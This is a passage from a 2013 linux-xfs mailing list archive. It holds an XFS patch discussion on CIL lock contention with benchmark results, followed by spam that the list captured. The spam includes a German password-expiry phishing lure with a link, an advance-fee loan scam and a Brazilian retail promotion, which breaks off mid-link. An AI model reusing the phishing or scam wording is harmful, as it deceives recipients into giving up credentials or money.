xfs_log_commit_cil() and it's > children show up quite highly in profiles under metadata > modification intensive workloads. > > The current insertion tries to minimise ithe number of times the > xc_cil_lock is grabbed and the hold times via a couple of methods: > > 1. an initial loop across the transaction items outside the > lock to allocate log vectors, buffers and copy the data into > them. > 2. a second pass across the log vectors that then inserts > them into the CIL, modifies the CIL state and frees the old > vectors. > > This is somewhat inefficient. While it minimises lock grabs, the > hold time is still quite high because we are freeing objects with > the spinlock held and so the hold times are much higher than they > need to be. > > Optimisations that can be made: > > 1. change IOP_SIZE() to return the size of the metadata to > be logged with the number of vectors required. This means we > can allocate the buffer to hold the metadata as part of the > allocation for the log vector array. Once allocation instead > of two. > > 2. Store the size of the allocated region for the log vector > in the log vector itself. This allows us to determine if we > can just reuse the existing log vector for the new > transactions. Avoids all memory allocation for that item. > > 3. when setting up a new log vector, we don't need to > hold the CIL lock while determining the difference in it's > size when compared to the old one. Hence we can do all the > accounting, swapping of the log vectors and freeing the old > log vectors outside the xc_cil_lock. > > 4. We can do all the CIL insertation of items and busy > extents and the accounting under a single grab of the > xc_cil_lock. This minimises the number of times we need to > grab it and hence contention points are kept to a minimum > > 5. the xc_cil_lock is used for serialising both the CIL and > the push/commit ordering. Separate the two functions into > different locks so push/commit ordering does not affect CIL > insertion > > 6. the xc_cil_lock shares cachelines with other locks. > Separate them onto different cachelines. > > The result is that my standard fsmark benchmark (8-way, 50m files) > on my standard test VM (8-way, 4GB RAM, 4xSSD in RAID0, 100TB fs) > gives the following results with a xfs-oss tree. No CRCs: > > vanilla patched Difference > create (time) 483s 435s -10.0% (faster) > (rate) 109k+/6k 122k+/-7k +11.9% (faster) > > walk 339s 335s (noise) > (sys cpu) 1134s 1135s (noise) > > unlink 692s 645s -6.8% (faster) > > So it's significantly faster than the current code, and lock_stat > reports lower contention on the xc_cil_lock, too. So, big win here. > > With CRCs: > > vanilla patched Difference > create (time) 510s 460s -9.8% (faster) > (rate) 105k+/5.4k 117k+/-5k +11.4% (faster) > > walk 494s 486s (noise) > (sys cpu) 1324s 1290s (noise) > > unlink 959s 889s -7.3% (faster) > > Gains are of the same order, with walk and unlink still affected by > VFS LRU lock contention. IOWs, with this changes, filesystems with > CRCs enabled will still be faster than the old non-CRC kernels... > > Signed-off-by: Dave Chinner Dave, The idea to separate the transaction commits from the CIL push looks good. I am still concerned that the xc_ctx->space_used comparison to XLOG_CIL_SPACE_LIMIT(log) does not also contain any information on the "stolen" ticket log space. Maybe the future Liu/Chinner minimum log space series is the best place to address this and my other log space concerns. --Mark. From oppongm@unaids.org Thu Jul 4 04:50:58 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 639CA7F37 for ; Thu, 4 Jul 2013 04:50:58 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id F2E68AC007 for ; Thu, 4 Jul 2013 02:50:57 -0700 (PDT) X-ASG-Debug-ID: 1372931453-04bdf0233cb5c090001-w1Z2WR Received: from smtp2.unaids.org (smtp2.unaids.org [158.232.15.15]) by cuda.sgi.com with ESMTP id vqk5PrHTUGNGJEfI (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 04 Jul 2013 02:50:55 -0700 (PDT) X-Barracuda-Envelope-From: oppongm@unaids.org X-Barracuda-Apparent-Source-IP: 158.232.15.15 Received: from ([10.83.26.51]) by smtp2.unaids.org with ESMTP id H041112035.10585706; Thu, 04 Jul 2013 11:32:00 +0200 X-MimeOLE: Produced By Microsoft Exchange V6.5 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01CE7899.54FAABD8" Subject: Web-Admin Date: Thu, 4 Jul 2013 11:31:59 +0200 X-ASG-Orig-Subj: Web-Admin Message-ID: <03A6B11E5F24274792A19DF7AD80BFDA03FB25FC@GE-MAILHQ-01.global.unaids.org> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Web-Admin Thread-Index: Ac54mVRABZUkkd6GRfCUYmriAITdEw== From: "Oppong, Mary" X-Barracuda-Connect: smtp2.unaids.org[158.232.15.15] X-Barracuda-Start-Time: 1372931454 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.23 X-Barracuda-Spam-Status: No, SCORE=1.23 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MISSING_HEADERS, THREAD_INDEX, THREAD_TOPIC, TO_CC_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135771 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 1.21 MISSING_HEADERS Missing To: header 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 TO_CC_NONE No To: or Cc: header To: undisclosed-recipients:; This is a multi-part message in MIME format. ------_=_NextPart_001_01CE7899.54FAABD8 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Werden Sie Ihr Passwort in drei Tagen abl=E4uft Klicken Sie unten, um = Ihre validieren E-Mail. http://web-administer.jimdo.com/ Netz Verwalter ------_=_NextPart_001_01CE7899.54FAABD8 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Web-Admin

    Werden Sie Ihr Passwort in drei Tagen abl=E4uft = Klicken Sie unten, um Ihre validieren
    E-Mail.
    http://web-administer.jimdo.com= /
    Netz Verwalter

    ------_=_NextPart_001_01CE7899.54FAABD8-- From ercanozlen@artuklu.edu.tr Thu Jul 4 05:13:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 47EA37F37 for ; Thu, 4 Jul 2013 05:13:19 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id CB3ADAC007 for ; Thu, 4 Jul 2013 03:13:14 -0700 (PDT) X-ASG-Debug-ID: 1372932790-04cb6c2a4689cc60001-w1Z2WR Received: from personelmail.artuklu.edu.tr (personelmail.artuklu.edu.tr [95.183.136.6]) by cuda.sgi.com with ESMTP id U3qAMYvCEQl5p7M9 for ; Thu, 04 Jul 2013 03:13:12 -0700 (PDT) X-Barracuda-Envelope-From: ercanozlen@artuklu.edu.tr X-Barracuda-Apparent-Source-IP: 95.183.136.6 Received: from localhost (localhost.localdomain [127.0.0.1]) by personelmail.artuklu.edu.tr (Postfix) with ESMTP id 80CB05EE8AC; Thu, 4 Jul 2013 12:03:10 +0300 (EEST) X-Virus-Scanned: amavisd-new at artuklu.edu.tr Received: from personelmail.artuklu.edu.tr ([127.0.0.1]) by localhost (personelmail.artuklu.edu.tr [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id BTmK9TMQj6r0; Thu, 4 Jul 2013 12:03:10 +0300 (EEST) Received: from personelmail.artuklu.edu.tr (unknown [192.168.250.1]) by personelmail.artuklu.edu.tr (Postfix) with ESMTP id 923AB5EE854; Thu, 4 Jul 2013 12:02:40 +0300 (EEST) Date: Thu, 4 Jul 2013 12:02:40 +0300 (EEST) From: Ercan Ozlen Reply-To: Ercan Ozlen Message-ID: <1138871286.14195.1372928560572.JavaMail.root@artuklu.edu.tr> Subject: Brauchen Sie finanzieren Ihr Unternehmen? MIME-Version: 1.0 X-ASG-Orig-Subj: Brauchen Sie finanzieren Ihr Unternehmen? Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Originating-IP: [41.203.67.52] X-Mailer: Zimbra 7.2.0_GA_2678 (zclient/7.2.0_GA_2678) To: undisclosed-recipients:; X-Barracuda-Connect: personelmail.artuklu.edu.tr[95.183.136.6] X-Barracuda-Start-Time: 1372932792 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA620a, FUZZY_CREDIT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135771 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 FUZZY_CREDIT BODY: Attempt to obfuscate words in spam 0.50 BSF_SC0_SA620a Custom Rule SA620a Hallo, mein Name ist Eddy Pablo. Ich bin ein privater Kreditgeber, die Darl= ehen an Privat- und Firmenkunden Einzelpersonen ab. Haben Sie so viele Bank= en abgelehnt wurde? Brauchen Sie finanzieren Ihr Unternehmen? Ben=C3=B6tige= n Sie Finanzen f=C3=BCr die Erweiterung Ihres Unternehmens? Oder ben=C3=B6t= igen Sie einen pers=C3=B6nlichen Kredit? Unser Darlehen reicht vom pers=C3= =B6nlichen zum Business-Darlehen. Unser Zinssatz ist sehr erschwinglich und= unsere Kredit-Prozess ist auch sehr schnell. Wir sind bereit, alle Ihre fi= nanziellen Probleme der Vergangenheit machen.Wenn Sie wirklich bereit, um I= hre finanziellen Probleme gel=C3=B6st sind, dann suchen Sie nicht weiter, u= nd heute ein Darlehen beantragen.Unsere e-Mail-Adresse sind unten angegeben= : Wir freuen uns auf die Gesch=C3=A4ftst=C3=A4tigkeitmit Ihnen.E-Mail: caps= ltd@blumail.org From dma_1636@rp.email.girafa.com.br Thu Jul 4 08:01:51 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_IMAGE_RATIO_02, HTML_MESSAGE,T_DKIM_INVALID,T_REMOTE_IMAGE autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D7D607F37 for ; Thu, 4 Jul 2013 08:01:51 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id B662930408D for ; Thu, 4 Jul 2013 06:01:47 -0700 (PDT) X-ASG-Debug-ID: 1372942899-04cb6c2a478aa170001-w1Z2WR Received: from email.girafa.com.br (email.girafa.com.br [187.61.29.201]) by cuda.sgi.com with ESMTP id pc4JDTAc6nEfN5DB for ; Thu, 04 Jul 2013 06:01:39 -0700 (PDT) X-Barracuda-Envelope-From: dma_1636@rp.email.girafa.com.br X-Barracuda-Apparent-Source-IP: 187.61.29.201 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=k1; d=email.girafa.com.br; h=From:To:Subject:MIME-Version:Content-Type:Reply-To:List-Unsubscribe:Message-ID:Date; bh=Tk4qIGND6iomx9yoJ2HazqyGO5w=; b=CLInHu/2WMGz1VSkigeONaWA3CcCW1tkn3h/8XTJ5YDJTgnjkch5vjLl90NUeansVQ/Stj6DWgd2 lCtmWq4XUPrGFn7dQDTEwtGKhX6PDS4HCvqMd1yo8P2IwGcYOny2U7Mhdqo1pj6TEv2e4Ms4bHqK biMt/YkCZYGuDZa/Xvo= Received: by email.girafa.com.br id hqlp380sh4sp for ; Thu, 4 Jul 2013 10:01:38 -0300 (envelope-from ) From: "=?ISO-8859-1?Q?Girafa?=" To: "" Subject: =?ISO-8859-1?Q?Samsung_Day:_tecnologia_de_ponta,_realidade_aumentada_e_um_show_de_pre=E7o_baixo!?= MIME-Version: 1.0 X-ASG-Orig-Subj: =?ISO-8859-1?Q?Samsung_Day:_tecnologia_de_ponta,_realidade_aumentada_e_um_show_de_pre=E7o_baixo!?= Content-Type: multipart/alternative; boundary="ec1626653b157896e10df08a1a5c7903" Reply-To: "=?ISO-8859-1?Q?Girafa?=" List-Unsubscribe: X-Hash: 1636-3264-644384-d9ded0b1add2c8fe2766e308d0d3ecb1 X-DMA: 5253406 Message-ID: <0.0.4D.4BC.1CE78B69E9685D2.16720@email.girafa.com.br> Date: Thu, 4 Jul 2013 10:01:40 -0300 X-Barracuda-Connect: email.girafa.com.br[187.61.29.201] X-Barracuda-Start-Time: 1372942899 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.65 X-Barracuda-Spam-Status: No, SCORE=0.65 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_RATIO_02, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.135783 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.55 HTML_IMAGE_RATIO_02 BODY: HTML has a low ratio of text to image area 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 BSF_SC0_SA085 Custom Rule SA085 --ec1626653b157896e10df08a1a5c7903 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84178,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTA0XzA3XzEzX2VzcGVjaWFsX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW= 50PSZ1dG1fY2FtcGFpZ249ZXNwZWNpYWxfZG9fZGlhXzA0XzA3XzEzJnV0bV90ZXJtPQ=3D=3D,= 1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84178,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyLz91dG1fc29= 1cmNlPTA0XzA3XzEzX2VzcGVjaWFsX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW= 50PSZ1dG1fY2FtcGFpZ249ZXNwZWNpYWxfZG9fZGlhXzA0XzA3XzEzJnV0bV90ZXJtPQ=3D=3D,= 1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84179,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0NpbmUtRm9= 0by8/dXRtX3NvdXJjZT0wNF8wN18xM19lc3BlY2lhbF9kb19kaWEmdXRtX21lZGl1bT1FbWFpbC= Z1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPWVzcGVjaWFsX2RvX2RpYV8wNF8wN18xMyZ1dG1fd= GVybT0=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84180,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0VsZXRyb25= pY29zLz91dG1fc291cmNlPTA0XzA3XzEzX2VzcGVjaWFsX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYW= lsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249ZXNwZWNpYWxfZG9fZGlhXzA0XzA3XzEzJnV0b= V90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84181,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0VsZXRyb3B= vcnRhdGVpcy8/dXRtX3NvdXJjZT0wNF8wN18xM19lc3BlY2lhbF9kb19kaWEmdXRtX21lZGl1bT= 1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPWVzcGVjaWFsX2RvX2RpYV8wNF8wN18xM= yZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84182,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0VsZXRyb2R= vbWVzdGljb3MvP3V0bV9zb3VyY2U9MDRfMDdfMTNfZXNwZWNpYWxfZG9fZGlhJnV0bV9tZWRpdW= 09RW1haWwmdXRtX2NvbnRlbnQ9JnV0bV9jYW1wYWlnbj1lc3BlY2lhbF9kb19kaWFfMDRfMDdfM= TMmdXRtX3Rlcm09,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84183,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0dhbWVzLz9= 1dG1fc291cmNlPTA0XzA3XzEzX2VzcGVjaWFsX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV= 9jb250ZW50PSZ1dG1fY2FtcGFpZ249ZXNwZWNpYWxfZG9fZGlhXzA0XzA3XzEzJnV0bV90ZXJtP= Q=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84184,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL0luZm9ybWF= 0aWNhLz91dG1fc291cmNlPTA0XzA3XzEzX2VzcGVjaWFsX2RvX2RpYSZ1dG1fbWVkaXVtPUVtYW= lsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249ZXNwZWNpYWxfZG9fZGlhXzA0XzA3XzEzJnV0b= V90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84185,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1NhdWRlLWU= tYmVsZXphLz91dG1fc291cmNlPTA0XzA3XzEzX2VzcGVjaWFsX2RvX2RpYSZ1dG1fbWVkaXVtPU= VtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249ZXNwZWNpYWxfZG9fZGlhXzA0XzA3XzEzJ= nV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84186,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1RlbGVmb25= pYS8/dXRtX3NvdXJjZT0wNF8wN18xM19lc3BlY2lhbF9kb19kaWEmdXRtX21lZGl1bT1FbWFpbC= Z1dG1fY29udGVudD0mdXRtX2NhbXBhaWduPWVzcGVjaWFsX2RvX2RpYV8wNF8wN18xMyZ1dG1fd= GVybT0=3D,1,b3NzLnNnaS5jb20=3D] =20 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84178,d= 9ded0b1add2c8fe2766e308d0d3ecb1,[DMA6_ENCODE_URL]http://www.girafa.com.br/?= utm_source=3D04_07_13_especial_do_dia&utm_medium=3DEmail&utm_content=3D&utm= _campaign=3Despecial_do_dia_04_07_13" src=3D"http://img.virtualtarget.com.br//1636/20130704/01.jpg" alt=3D"TV LED 3D 46\'\' Samsung" width=3D"600" border=3D"0" /> [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84187,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1RWLUxFRC9= TYW1zdW5nL3R2LWxlZC00Ni11bjQ2ZjgwMDBhZ3h6ZC1zYW1zdW5nLWhkbWktdXNiLXByZXRhLW= NvbnZlcnMtM2QtY2FtZXJhLXJldHItdGlsLXNtYXJ0LWh1Yi5odG0/dXRtX3NvdXJjZT0wNF8wN= 18xM19lc3BlY2lhbF9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2Nh= bXBhaWduPWVzcGVjaWFsX2RvX2RpYV8wNF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb2= 0=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84188,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1RWLUxFRC9= TYW1zdW5nL3R2LWxlZC01NS1zYW1zdW5nLXVuNTVmNzUwMGFneHpkLXByZXRhLWhkbWktdXNiLT= NkLXNtYXJ0LWh1Yi1jb252ZXJzLTNkLmh0bT91dG1fc291cmNlPTA0XzA3XzEzX2VzcGVjaWFsX= 2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249ZXNwZWNp= YWxfZG9fZGlhXzA0XzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84189,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1RWLUxFRC9= TYW1zdW5nL3R2LWxlZC00Ni11bjQ2Zjc1MDBhZ3h6ZC1zYW1zdW5nLXByZXRhLWhkbWktdXNiLX= NvbS0zZC1zbWFydC1odWItbWVyYS1lbWJ1dGlkYS5odG0/dXRtX3NvdXJjZT0wNF8wN18xM19lc= 3BlY2lhbF9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWdu= PWVzcGVjaWFsX2RvX2RpYV8wNF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] UN55F7500AGXZD [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84188,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1RWLUxFRC9= TYW1zdW5nL3R2LWxlZC01NS1zYW1zdW5nLXVuNTVmNzUwMGFneHpkLXByZXRhLWhkbWktdXNiLT= NkLXNtYXJ0LWh1Yi1jb252ZXJzLTNkLmh0bT91dG1fc291cmNlPTA0XzA3XzEzX2VzcGVjaWFsX= 2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249ZXNwZWNp= YWxfZG9fZGlhXzA0XzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] UN46F7500AGXZD [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84189,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1RWLUxFRC9= TYW1zdW5nL3R2LWxlZC00Ni11bjQ2Zjc1MDBhZ3h6ZC1zYW1zdW5nLXByZXRhLWhkbWktdXNiLX= NvbS0zZC1zbWFydC1odWItbWVyYS1lbWJ1dGlkYS5odG0/dXRtX3NvdXJjZT0wNF8wN18xM19lc= 3BlY2lhbF9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBhaWdu= PWVzcGVjaWFsX2RvX2RpYV8wNF8wN18xMyZ1dG1fdGVybT0=3D,1,b3NzLnNnaS5jb20=3D] TV LED 3D 55" Samsung [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84188,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL1RWLUxFRC9= TYW1zdW5nL3R2LWxlZC01NS1zYW1zdW5nLXVuNTVmNzUwMGFneHpkLXByZXRhLWhkbWktdXNiLT= NkLXNtYXJ0LWh1Yi1jb252ZXJzLTNkLmh0bT91dG1fc291cmNlPTA0XzA3XzEzX2VzcGVjaWFsX= 2RvX2RpYSZ1dG1fbWVkaXVtPUVtYWlsJnV0bV9jb250ZW50PSZ1dG1fY2FtcGFpZ249ZXNwZWNp= YWxfZG9fZGlhXzA0XzA3XzEzJnV0bV90ZXJtPQ=3D=3D,1,b3NzLnNnaS5jb20=3D] TV LED 3D 46" Samsung [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84189,d= 9ded0b1add2c8fe2766e308d0d3ecb1,[DMA6_ENCODE_URL]http://www.girafa.com.br/T= V-LED/Samsung/tv-led-46-un46f7500agxzd-samsung-preta-hdmi-usb-som-3d-smart-= hub-mera-embutida.htm?utm_source=3D04_07_13_especial_do_dia&utm_medium=3DEm= ail&utm_content=3D&utm_campaign=3Despecial_do_dia_04_07_13 border-left:1px solid #f4ac1c; border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 6.159,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84188,d= 9ded0b1add2c8fe2766e308d0d3ecb1,[DMA6_ENCODE_URL]http://www.girafa.com.br/T= V-LED/Samsung/tv-led-55-samsung-un55f7500agxzd-preta-hdmi-usb-3d-smart-hub-= convers-3d.htm?utm_source=3D04_07_13_especial_do_dia&utm_medium=3DEmail&utm= _content=3D&utm_campaign=3Despecial_do_dia_04_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84188,d= 9ded0b1add2c8fe2766e308d0d3ecb1,[DMA6_ENCODE_URL]http://www.girafa.com.br/T= V-LED/Samsung/tv-led-55-samsung-un55f7500agxzd-preta-hdmi-usb-3d-smart-hub-= convers-3d.htm?utm_source=3D04_07_13_especial_do_dia&utm_medium=3DEmail&utm= _content=3D&utm_campaign=3Despecial_do_dia_04_07_13font-weight: bold; margin: 0px 0px 0px 0px; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84188,d= 9ded0b1add2c8fe2766e308d0d3ecb1,[DMA6_ENCODE_URL]http://www.girafa.com.br/T= V-LED/Samsung/tv-led-55-samsung-un55f7500agxzd-preta-hdmi-usb-3d-smart-hub-= convers-3d.htm?utm_source=3D04_07_13_especial_do_dia&utm_medium=3DEmail&utm= _content=3D&utm_campaign=3Despecial_do_dia_04_07_13 height:50px; border-left:1px solid #f4ac1c; border-bottom:1px solid #f4ac1c; width:292px; padding:10px 0px 0px 0px;"> 3.959,12 [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84189,d= 9ded0b1add2c8fe2766e308d0d3ecb1,[DMA6_ENCODE_URL]http://www.girafa.com.br/T= V-LED/Samsung/tv-led-46-un46f7500agxzd-samsung-preta-hdmi-usb-som-3d-smart-= hub-mera-embutida.htm?utm_source=3D04_07_13_especial_do_dia&utm_medium=3DEm= ail&utm_content=3D&utm_campaign=3Despecial_do_dia_04_07_13 margin: 0;padding: 0; border: 0; ">=C0 vista no boleto [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84189,d= 9ded0b1add2c8fe2766e308d0d3ecb1,[DMA6_ENCODE_URL]http://www.girafa.com.br/T= V-LED/Samsung/tv-led-46-un46f7500agxzd-samsung-preta-hdmi-usb-som-3d-smart-= hub-mera-embutida.htm?utm_source=3D04_07_13_especial_do_dia&utm_medium=3DEm= ail&utm_content=3D&utm_campaign=3Despecial_do_dia_04_07_13 font-weight: bold; margin:0; border: 0;">12x no cart=E3o [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84189,d= 9ded0b1add2c8fe2766e308d0d3ecb1,[DMA6_ENCODE_URL]http://www.girafa.com.br/T= V-LED/Samsung/tv-led-46-un46f7500agxzd-samsung-preta-hdmi-usb-som-3d-smart-= hub-mera-embutida.htm?utm_source=3D04_07_13_especial_do_dia&utm_medium=3DEm= ail&utm_content=3D&utm_campaign=3Despecial_do_dia_04_07_13" src=3D"http://img.virtualtarget.com.br//1636/20130704/04.jpg" alt=3D"TV LED 3D Samsung" width=3D"600" border=3D"0" /> [http://trk.email.girafa.com.br/index.dma/DmaClick?1636,3264,644384,84190,d= 9ded0b1add2c8fe2766e308d0d3ecb1,aHR0cDovL3d3dy5naXJhZmEuY29tLmJyL3Blc3F1aXN= hLz9xPWY2MTAwJm1hcmNhcz1TYW1zdW5nJnN1YmdydXBvcz0mdXRtX3NvdXJjZT0wNF8wN18xM1= 9lc3BlY2lhbF9kb19kaWEmdXRtX21lZGl1bT1FbWFpbCZ1dG1fY29udGVudD0mdXRtX2NhbXBha= 